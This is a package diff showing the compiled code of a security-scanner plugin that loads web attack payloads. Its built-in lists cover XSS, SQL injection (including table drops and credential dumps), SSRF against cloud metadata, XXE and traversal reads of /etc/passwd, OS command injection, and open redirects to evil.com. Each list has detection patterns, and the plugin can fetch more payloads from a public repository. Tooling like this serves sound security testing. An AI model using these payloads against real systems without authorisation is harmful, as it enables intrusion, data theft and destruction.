@vulcn/plugin-payloads 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.cjs ADDED
@@ -0,0 +1,611 @@
1
+ "use strict";
2
+ var __create = Object.create;
3
+ var __defProp = Object.defineProperty;
4
+ var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
5
+ var __getOwnPropNames = Object.getOwnPropertyNames;
6
+ var __getProtoOf = Object.getPrototypeOf;
7
+ var __hasOwnProp = Object.prototype.hasOwnProperty;
8
+ var __export = (target, all) => {
9
+ for (var name in all)
10
+ __defProp(target, name, { get: all[name], enumerable: true });
11
+ };
12
+ var __copyProps = (to, from, except, desc) => {
13
+ if (from && typeof from === "object" || typeof from === "function") {
14
+ for (let key of __getOwnPropNames(from))
15
+ if (!__hasOwnProp.call(to, key) && key !== except)
16
+ __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
17
+ }
18
+ return to;
19
+ };
20
+ var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
21
+ // If the importer is in node compatibility mode or this is not an ESM
22
+ // file that has been converted to a CommonJS file using a Babel-
23
+ // compatible transform (i.e. "__esModule" has not been set), then set
24
+ // "default" to the CommonJS "module.exports" for node compatibility.
25
+ isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
26
+ mod
27
+ ));
28
+ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
29
+
30
+ // src/index.ts
31
+ var index_exports = {};
32
+ __export(index_exports, {
33
+ BUILTIN_PAYLOADS: () => BUILTIN_PAYLOADS,
34
+ default: () => index_default,
35
+ getPayloadBoxTypes: () => getPayloadBoxTypes,
36
+ loadFromFile: () => loadFromFile,
37
+ loadFromFiles: () => loadFromFiles,
38
+ loadPayloadBox: () => loadPayloadBox
39
+ });
40
+ module.exports = __toCommonJS(index_exports);
41
+ var import_zod2 = require("zod");
42
+
43
+ // src/builtin.ts
44
+ var BUILTIN_PAYLOADS = {
45
+ // XSS Payloads
46
+ "xss-basic": {
47
+ name: "xss-basic",
48
+ category: "xss",
49
+ description: "Basic XSS payloads with script tags and event handlers",
50
+ source: "builtin",
51
+ payloads: [
52
+ '<script>alert("XSS")</script>',
53
+ '<img src=x onerror=alert("XSS")>',
54
+ '"><script>alert("XSS")</script>',
55
+ "javascript:alert('XSS')",
56
+ '<svg onload=alert("XSS")>'
57
+ ],
58
+ detectPatterns: [
59
+ /<script[^>]*>alert\(/i,
60
+ /onerror\s*=\s*alert\(/i,
61
+ /onload\s*=\s*alert\(/i,
62
+ /javascript:alert\(/i
63
+ ]
64
+ },
65
+ "xss-event": {
66
+ name: "xss-event",
67
+ category: "xss",
68
+ description: "XSS via event handlers",
69
+ source: "builtin",
70
+ payloads: [
71
+ '" onfocus="alert(1)" autofocus="',
72
+ "' onmouseover='alert(1)'",
73
+ '<body onload=alert("XSS")>',
74
+ "<input onfocus=alert(1) autofocus>",
75
+ "<marquee onstart=alert(1)>",
76
+ "<video src=x onerror=alert(1)>",
77
+ "<audio src=x onerror=alert(1)>"
78
+ ],
79
+ detectPatterns: [
80
+ /onfocus\s*=\s*["']?alert/i,
81
+ /onmouseover\s*=\s*["']?alert/i,
82
+ /onload\s*=\s*["']?alert/i,
83
+ /onstart\s*=\s*["']?alert/i,
84
+ /onerror\s*=\s*["']?alert/i
85
+ ]
86
+ },
87
+ "xss-svg": {
88
+ name: "xss-svg",
89
+ category: "xss",
90
+ description: "XSS via SVG elements",
91
+ source: "builtin",
92
+ payloads: [
93
+ '<svg/onload=alert("XSS")>',
94
+ "<svg><script>alert(1)</script></svg>",
95
+ "<svg><animate onbegin=alert(1)>",
96
+ "<svg><set onbegin=alert(1)>",
97
+ '<svg><foreignObject><iframe srcdoc="<script>alert(1)</script>">'
98
+ ],
99
+ detectPatterns: [
100
+ /<svg[^>]*onload\s*=/i,
101
+ /<svg[^>]*>.*<script>/i,
102
+ /onbegin\s*=\s*alert/i
103
+ ]
104
+ },
105
+ "xss-polyglot": {
106
+ name: "xss-polyglot",
107
+ category: "xss",
108
+ description: "XSS polyglot payloads that work in multiple contexts",
109
+ source: "builtin",
110
+ payloads: [
111
+ "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
112
+ `'"-->]]>*/</script><script>alert(1)</script>`,
113
+ "<img src=x:x onerror=alert(1)//",
114
+ "'-alert(1)-'",
115
+ '"><img src=x onerror=alert(1)>'
116
+ ],
117
+ detectPatterns: [/alert\s*\(\s*\d*\s*\)/i, /<script>/i, /onerror\s*=/i]
118
+ },
119
+ // SQL Injection Payloads
120
+ "sqli-basic": {
121
+ name: "sqli-basic",
122
+ category: "sqli",
123
+ description: "Basic SQL injection payloads",
124
+ source: "builtin",
125
+ payloads: [
126
+ "' OR '1'='1",
127
+ "' OR '1'='1' --",
128
+ "1' OR '1'='1",
129
+ "admin'--",
130
+ "' UNION SELECT NULL--",
131
+ "1; DROP TABLE users--"
132
+ ],
133
+ detectPatterns: [
134
+ /sql.*syntax/i,
135
+ /mysql.*error/i,
136
+ /ORA-\d{5}/i,
137
+ /pg_query/i,
138
+ /sqlite.*error/i,
139
+ /unclosed.*quotation/i
140
+ ]
141
+ },
142
+ "sqli-error": {
143
+ name: "sqli-error",
144
+ category: "sqli",
145
+ description: "SQL injection payloads to trigger errors",
146
+ source: "builtin",
147
+ payloads: [
148
+ "'",
149
+ "''",
150
+ "`",
151
+ '"',
152
+ "')",
153
+ `'"`,
154
+ "1' AND '1'='2",
155
+ "1 AND 1=2",
156
+ "1'1",
157
+ "1 exec sp_"
158
+ ],
159
+ detectPatterns: [
160
+ /sql.*syntax/i,
161
+ /mysql.*error/i,
162
+ /ORA-\d{5}/i,
163
+ /postgresql.*error/i,
164
+ /sqlite.*error/i,
165
+ /quoted.*string.*properly.*terminated/i,
166
+ /ODBC.*Driver/i,
167
+ /Microsoft.*ODBC/i
168
+ ]
169
+ },
170
+ "sqli-blind": {
171
+ name: "sqli-blind",
172
+ category: "sqli",
173
+ description: "Blind SQL injection payloads (timing-based)",
174
+ source: "builtin",
175
+ payloads: [
176
+ "1' AND SLEEP(5)--",
177
+ "1; WAITFOR DELAY '0:0:5'--",
178
+ "1' AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
179
+ "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--",
180
+ "1 AND SLEEP(5)"
181
+ ],
182
+ detectPatterns: [
183
+ // Blind SQLi is detected by timing, not content patterns
184
+ ]
185
+ },
186
+ "sqli-union": {
187
+ name: "sqli-union",
188
+ category: "sqli",
189
+ description: "UNION-based SQL injection payloads",
190
+ source: "builtin",
191
+ payloads: [
192
+ "' UNION SELECT NULL--",
193
+ "' UNION SELECT NULL,NULL--",
194
+ "' UNION SELECT NULL,NULL,NULL--",
195
+ "' UNION SELECT 1,2,3--",
196
+ "' UNION SELECT username,password FROM users--",
197
+ "1 UNION SELECT ALL FROM information_schema.tables--"
198
+ ],
199
+ detectPatterns: [
200
+ /sql.*syntax/i,
201
+ /column.*count/i,
202
+ /different.*number.*columns/i
203
+ ]
204
+ },
205
+ // SSRF Payloads
206
+ "ssrf-basic": {
207
+ name: "ssrf-basic",
208
+ category: "ssrf",
209
+ description: "Server-Side Request Forgery payloads",
210
+ source: "builtin",
211
+ payloads: [
212
+ "http://localhost",
213
+ "http://127.0.0.1",
214
+ "http://[::1]",
215
+ "http://169.254.169.254/latest/meta-data/",
216
+ "http://metadata.google.internal/",
217
+ "http://0.0.0.0",
218
+ "file:///etc/passwd",
219
+ "dict://localhost:11211/",
220
+ "gopher://localhost:25/_HELO"
221
+ ],
222
+ detectPatterns: [
223
+ /root:.*:0:0/i,
224
+ // /etc/passwd content
225
+ /ami-id/i,
226
+ // AWS metadata
227
+ /instance-id/i,
228
+ /\{"Code"\s*:/i
229
+ // Cloud metadata JSON
230
+ ]
231
+ },
232
+ // XXE Payloads
233
+ "xxe-basic": {
234
+ name: "xxe-basic",
235
+ category: "xxe",
236
+ description: "XML External Entity injection payloads",
237
+ source: "builtin",
238
+ payloads: [
239
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
240
+ '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost">]><foo>&xxe;</foo>',
241
+ '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>',
242
+ '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><data>&file;</data>'
243
+ ],
244
+ detectPatterns: [
245
+ /root:.*:0:0/i,
246
+ /\[fonts\]/i,
247
+ // win.ini content
248
+ /\[extensions\]/i
249
+ ]
250
+ },
251
+ // Command Injection Payloads
252
+ "cmd-basic": {
253
+ name: "cmd-basic",
254
+ category: "command-injection",
255
+ description: "OS command injection payloads",
256
+ source: "builtin",
257
+ payloads: [
258
+ "; id",
259
+ "| id",
260
+ "& id",
261
+ "&& id",
262
+ "|| id",
263
+ "`id`",
264
+ "$(id)",
265
+ "; cat /etc/passwd",
266
+ "| cat /etc/passwd",
267
+ "& whoami",
268
+ "| whoami",
269
+ "; dir",
270
+ "| dir"
271
+ ],
272
+ detectPatterns: [
273
+ /uid=\d+\([\w]+\)/i,
274
+ // Unix id command output
275
+ /root:.*:0:0/i,
276
+ /Volume Serial Number/i,
277
+ // Windows dir output
278
+ /Directory of/i
279
+ ]
280
+ },
281
+ // Path Traversal Payloads
282
+ "path-traversal": {
283
+ name: "path-traversal",
284
+ category: "path-traversal",
285
+ description: "Directory traversal payloads",
286
+ source: "builtin",
287
+ payloads: [
288
+ "../../../etc/passwd",
289
+ "..\\..\\..\\windows\\win.ini",
290
+ "....//....//....//etc/passwd",
291
+ "..%2f..%2f..%2fetc/passwd",
292
+ "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
293
+ "..%252f..%252f..%252fetc/passwd",
294
+ "/etc/passwd",
295
+ "C:\\Windows\\win.ini"
296
+ ],
297
+ detectPatterns: [/root:.*:0:0/i, /\[fonts\]/i, /\[extensions\]/i]
298
+ },
299
+ // Open Redirect Payloads
300
+ "open-redirect": {
301
+ name: "open-redirect",
302
+ category: "open-redirect",
303
+ description: "Open redirect payloads for phishing",
304
+ source: "builtin",
305
+ payloads: [
306
+ "//evil.com",
307
+ "https://evil.com",
308
+ "/\\evil.com",
309
+ "//evil.com/%2f..",
310
+ "////evil.com",
311
+ "https:evil.com",
312
+ "//evil%E3%80%82com",
313
+ "javascript:alert(document.domain)"
314
+ ],
315
+ detectPatterns: [
316
+ // Open redirects are detected by observing the redirect behavior
317
+ ]
318
+ }
319
+ };
320
+
321
+ // src/loaders/payloadbox.ts
322
+ var PAYLOADBOX_URLS = {
323
+ xss: "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XSS%20Injection/Intruders/IntrudersXSS.txt",
324
+ "sql-injection": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/SQL%20Injection/Intruder/Auth_Bypass.txt",
325
+ xxe: "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/XXE%20Injection/Intruders/xxe_payloads.txt",
326
+ "command-injection": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Command%20Injection/Intruder/command_exec.txt",
327
+ "open-redirect": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Open%20Redirect/Intruder/Open-Redirect-payloads.txt",
328
+ "path-traversal": "https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Directory%20Traversal/Intruder/traversals-8-deep-exotic-encoding.txt"
329
+ };
330
+ var CATEGORY_MAP = {
331
+ xss: "xss",
332
+ "sql-injection": "sqli",
333
+ xxe: "xxe",
334
+ "command-injection": "command-injection",
335
+ "open-redirect": "open-redirect",
336
+ "path-traversal": "path-traversal"
337
+ };
338
+ var cache = /* @__PURE__ */ new Map();
339
+ function getPayloadBoxTypes() {
340
+ return Object.keys(PAYLOADBOX_URLS);
341
+ }
342
+ function isPayloadBoxType(type) {
343
+ return type in PAYLOADBOX_URLS;
344
+ }
345
+ async function loadPayloadBox(type, limit = 50, fetchFn = globalThis.fetch) {
346
+ if (!isPayloadBoxType(type)) {
347
+ throw new Error(
348
+ `Unknown PayloadBox type: ${type}. Available: ${getPayloadBoxTypes().join(", ")}`
349
+ );
350
+ }
351
+ const cached = cache.get(type);
352
+ if (cached) {
353
+ return cached;
354
+ }
355
+ const url = PAYLOADBOX_URLS[type];
356
+ try {
357
+ const response = await fetchFn(url);
358
+ if (!response.ok) {
359
+ throw new Error(
360
+ `Failed to fetch: ${response.status} ${response.statusText}`
361
+ );
362
+ }
363
+ const text = await response.text();
364
+ const payloads = text.split("\n").map((line) => line.trim()).filter((line) => line && !line.startsWith("#")).slice(0, limit);
365
+ if (payloads.length === 0) {
366
+ throw new Error(`No payloads found in ${type}`);
367
+ }
368
+ const payload = {
369
+ name: `payloadbox:${type}`,
370
+ category: CATEGORY_MAP[type],
371
+ description: `PayloadsAllTheThings ${type} - ${payloads.length} payloads`,
372
+ payloads,
373
+ detectPatterns: getDefaultPatterns(type),
374
+ source: "payloadbox"
375
+ };
376
+ cache.set(type, payload);
377
+ return payload;
378
+ } catch (err) {
379
+ throw new Error(
380
+ `Failed to fetch PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`
381
+ );
382
+ }
383
+ }
384
+ function getDefaultPatterns(type) {
385
+ switch (type) {
386
+ case "xss":
387
+ return [
388
+ /<script[^>]*>alert\(/i,
389
+ /onerror\s*=\s*alert\(/i,
390
+ /onload\s*=\s*alert\(/i,
391
+ /javascript:alert\(/i
392
+ ];
393
+ case "sql-injection":
394
+ return [
395
+ /sql.*syntax/i,
396
+ /mysql.*error/i,
397
+ /ORA-\d{5}/i,
398
+ /pg_query/i,
399
+ /sqlite.*error/i
400
+ ];
401
+ case "xxe":
402
+ return [/root:.*:0:0/i, /\[fonts\]/i];
403
+ case "command-injection":
404
+ return [/uid=\d+\([\w]+\)/i, /root:.*:0:0/i];
405
+ case "open-redirect":
406
+ return [];
407
+ // Detected by redirect behavior
408
+ case "path-traversal":
409
+ return [/root:.*:0:0/i, /\[fonts\]/i, /\[extensions\]/i];
410
+ default:
411
+ return [];
412
+ }
413
+ }
414
+
415
+ // src/loaders/file.ts
416
+ var import_promises = require("fs/promises");
417
+ var import_node_path = require("path");
418
+ var import_yaml = __toESM(require("yaml"), 1);
419
+ var import_zod = require("zod");
420
+ var PAYLOAD_CATEGORIES = [
421
+ "xss",
422
+ "sqli",
423
+ "ssrf",
424
+ "xxe",
425
+ "command-injection",
426
+ "path-traversal",
427
+ "open-redirect",
428
+ "custom"
429
+ ];
430
+ var CustomPayloadSchema = import_zod.z.object({
431
+ name: import_zod.z.string().min(1),
432
+ category: import_zod.z.enum(
433
+ PAYLOAD_CATEGORIES
434
+ ),
435
+ description: import_zod.z.string().optional(),
436
+ payloads: import_zod.z.array(import_zod.z.string()).min(1),
437
+ detectPatterns: import_zod.z.array(import_zod.z.string()).optional()
438
+ });
439
+ var PayloadFileSchema = import_zod.z.object({
440
+ version: import_zod.z.string().optional(),
441
+ payloads: import_zod.z.array(CustomPayloadSchema)
442
+ });
443
+ async function loadFromFiles(filePaths) {
444
+ const payloads = [];
445
+ for (const filePath of filePaths) {
446
+ const loaded = await loadFromFile(filePath);
447
+ payloads.push(...loaded);
448
+ }
449
+ return payloads;
450
+ }
451
+ async function loadFromFile(filePath) {
452
+ const resolved = (0, import_node_path.isAbsolute)(filePath) ? filePath : (0, import_node_path.resolve)(process.cwd(), filePath);
453
+ const content = await (0, import_promises.readFile)(resolved, "utf-8");
454
+ const ext = (0, import_node_path.extname)(resolved).toLowerCase();
455
+ let data;
456
+ if (ext === ".json") {
457
+ data = JSON.parse(content);
458
+ } else if (ext === ".yml" || ext === ".yaml") {
459
+ data = import_yaml.default.parse(content);
460
+ } else {
461
+ throw new Error(
462
+ `Unsupported file extension: ${ext}. Use .yml, .yaml, or .json`
463
+ );
464
+ }
465
+ return parsePayloadData(data);
466
+ }
467
+ function parsePayloadData(data) {
468
+ const dataObj = data;
469
+ let parsed;
470
+ if (Array.isArray(data)) {
471
+ parsed = { version: "1", payloads: data };
472
+ } else if (dataObj?.name && dataObj?.category) {
473
+ parsed = { version: "1", payloads: [CustomPayloadSchema.parse(data)] };
474
+ } else if (dataObj?.payloads && Array.isArray(dataObj.payloads)) {
475
+ parsed = PayloadFileSchema.parse(data);
476
+ } else {
477
+ throw new Error(
478
+ "Invalid payload file format. Expected: array of payloads, file schema, or single payload object"
479
+ );
480
+ }
481
+ return parsed.payloads.map(
482
+ (p) => ({
483
+ name: p.name,
484
+ category: p.category,
485
+ description: p.description || `Custom payload: ${p.name}`,
486
+ payloads: p.payloads,
487
+ detectPatterns: parseDetectPatterns(p.detectPatterns),
488
+ source: "custom"
489
+ })
490
+ );
491
+ }
492
+ function parseDetectPatterns(patterns) {
493
+ if (!patterns || patterns.length === 0) {
494
+ return [];
495
+ }
496
+ const regexps = [];
497
+ for (const pattern of patterns) {
498
+ try {
499
+ regexps.push(new RegExp(pattern, "i"));
500
+ } catch {
501
+ console.warn(`Invalid regex pattern: ${pattern}`);
502
+ }
503
+ }
504
+ return regexps;
505
+ }
506
+
507
+ // src/index.ts
508
+ var configSchema = import_zod2.z.object({
509
+ /**
510
+ * Include built-in payloads (default: true)
511
+ */
512
+ builtin: import_zod2.z.boolean().default(true),
513
+ /**
514
+ * Specific built-in payload names to include (if not all)
515
+ */
516
+ include: import_zod2.z.array(import_zod2.z.string()).optional(),
517
+ /**
518
+ * Built-in payload names to exclude
519
+ */
520
+ exclude: import_zod2.z.array(import_zod2.z.string()).optional(),
521
+ /**
522
+ * PayloadBox types to fetch from PayloadsAllTheThings
523
+ * e.g., ["xss", "sql-injection", "xxe"]
524
+ */
525
+ payloadbox: import_zod2.z.array(import_zod2.z.string()).optional(),
526
+ /**
527
+ * Limit per PayloadBox type
528
+ */
529
+ payloadboxLimit: import_zod2.z.number().default(50),
530
+ /**
531
+ * Custom payload files to load (YAML/JSON)
532
+ */
533
+ files: import_zod2.z.array(import_zod2.z.string()).optional()
534
+ });
535
+ var plugin = {
536
+ name: "@vulcn/plugin-payloads",
537
+ version: "0.2.0",
538
+ apiVersion: 1,
539
+ description: "Official payload loader plugin - built-in, PayloadBox, and custom files",
540
+ configSchema,
541
+ hooks: {
542
+ onInit: async (ctx) => {
543
+ const config = configSchema.parse(ctx.config);
544
+ const loadedPayloads = [];
545
+ if (config.builtin) {
546
+ let builtinNames = Object.keys(BUILTIN_PAYLOADS);
547
+ if (config.include?.length) {
548
+ builtinNames = builtinNames.filter(
549
+ (name) => config.include.includes(name)
550
+ );
551
+ }
552
+ if (config.exclude?.length) {
553
+ builtinNames = builtinNames.filter(
554
+ (name) => !config.exclude.includes(name)
555
+ );
556
+ }
557
+ for (const name of builtinNames) {
558
+ const payload = BUILTIN_PAYLOADS[name];
559
+ if (payload) {
560
+ loadedPayloads.push(payload);
561
+ }
562
+ }
563
+ ctx.logger.debug(`Loaded ${builtinNames.length} built-in payload sets`);
564
+ }
565
+ if (config.payloadbox?.length) {
566
+ for (const type of config.payloadbox) {
567
+ try {
568
+ const payload = await loadPayloadBox(
569
+ type,
570
+ config.payloadboxLimit,
571
+ ctx.fetch
572
+ );
573
+ loadedPayloads.push(payload);
574
+ ctx.logger.debug(`Loaded PayloadBox: ${type}`);
575
+ } catch (err) {
576
+ ctx.logger.error(
577
+ `Failed to load PayloadBox ${type}: ${err instanceof Error ? err.message : String(err)}`
578
+ );
579
+ }
580
+ }
581
+ }
582
+ if (config.files?.length) {
583
+ try {
584
+ const filePayloads = await loadFromFiles(config.files);
585
+ loadedPayloads.push(...filePayloads);
586
+ ctx.logger.debug(
587
+ `Loaded ${filePayloads.length} payload sets from files`
588
+ );
589
+ } catch (err) {
590
+ ctx.logger.error(
591
+ `Failed to load custom files: ${err instanceof Error ? err.message : String(err)}`
592
+ );
593
+ }
594
+ }
595
+ ctx.payloads.push(...loadedPayloads);
596
+ ctx.logger.info(
597
+ `Payloads plugin loaded ${loadedPayloads.length} payload sets`
598
+ );
599
+ }
600
+ }
601
+ };
602
+ var index_default = plugin;
603
+ // Annotate the CommonJS export names for ESM import in node:
604
+ 0 && (module.exports = {
605
+ BUILTIN_PAYLOADS,
606
+ getPayloadBoxTypes,
607
+ loadFromFile,
608
+ loadFromFiles,
609
+ loadPayloadBox
610
+ });
611
+ //# sourceMappingURL=index.cjs.map